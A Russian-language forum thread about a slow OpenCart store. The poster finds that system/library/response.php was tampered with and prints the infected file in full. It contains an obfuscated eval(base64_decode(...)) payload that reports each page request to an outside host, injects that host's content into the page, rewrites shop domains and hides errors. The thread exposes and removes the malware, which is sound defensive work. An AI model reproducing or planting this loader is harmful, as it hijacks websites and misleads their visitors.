Тормозит админка и front-end

Статус
В этой теме нельзя размещать новые ответы.

sitecreator

Полезный
Регистрация
1 Май 2013
Сообщения
209
Реакции
19
Сайт жутко тормозит. загрузка страницы несколько секунд. 10...20 секунд.

Дела явно не в ресурсах сервера, т. к. использую серьезный выделенный сервер.

Данная страница в админке грузилась 17 секунд. это видно на картинке. ожидание - 17 секунд.
куда копнуть?

be0d6f9dbed1415bb33ac78.png
 
Модули устанавливали? Проверьте для начала файл system/library/response.php , туда иногда любят пихать лишнее, аля $ouput = eval(base64_decode('ZnVuY3R......'));
 
Модули устанавливали? Проверьте для начала файл system/library/response.php , туда иногда любят пихать лишнее, аля $ouput = eval(base64_decode('ZnVuY3R......'));


модулей куча.

я тоже думаю, что проблема может быть в этом файле.
заменил на родной.

загружаться стала страница за 1...2 секунды.
 
Советую воспользоваться сервисом:

Мне в своё время помогло малеха оптимизировать сайтик.
 
А вот и код поганый. смотрим нижние строчки. response.php
Код:
<?php
class Response {
    private $headers = array();
    private $level = 0;
    private $output;
 
    public function addHeader($header) {
        $this->headers[] = $header;
    }
 
    public function redirect($url) {
        header('Location: ' . $url);
        exit;
    }
 
    public function setCompression($level) {
        $this->level = $level;
    }
 
    public function setOutput($output) {
        $this->output = $output;
    }
 
    private function compress($data, $level = 0) {
        if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
            $encoding = 'gzip';
        }
 
        if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
            $encoding = 'x-gzip';
        }
 
        if (!isset($encoding)) {
            return $data;
        }
 
        if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
            return $data;
        }
 
        if (headers_sent()) {
            return $data;
        }
 
        if (connection_status()) {
            return $data;
        }
 
        $this->addHeader('Content-Encoding: ' . $encoding);
 
        return gzencode($data, (int)$level);
    }
 
    public function output() {
    if (!defined('HTTP_CATALOG')) $this->output = str_replace('index.php?route=common/home', '', $this->output);
        if ($this->output) {
            if ($this->level) {
                $ouput = $this->compress($this->output, $this->level);
            } else {
                $ouput = $this->output;
            }
 
            if (!headers_sent()) {
                foreach ($this->headers as $header) {
                    header($header, true);
                }
            }
 
            $ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
        }
    }
}
?>
 
Я бы посоветовал поставить чистую копию движка и один за одним ставить модули. Потратите часик, зато будете точно знать, кто дает тормоза.

по хорошему так и надо бы сделать. но это не часик. это несколько дней.
поскольку тема недефолтная, расширений 35 штук, это не считая vqmod (там еще 18), да и что то правилось прямо в коде.
 
по хорошему так и надо бы сделать. но это не часик. это несколько дней.
поскольку тема недефолтная, расширений 35 штук, это не считая vqmod (там еще 18), да и что то правилось прямо в коде.

а почему нельзя сделать полную копию, выключить все модули а потом один за другим - включать?
 
А если скопировать всё и удалять модули, начиная с наименее важных? Менее точный способ, но тенденцию понять можно
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху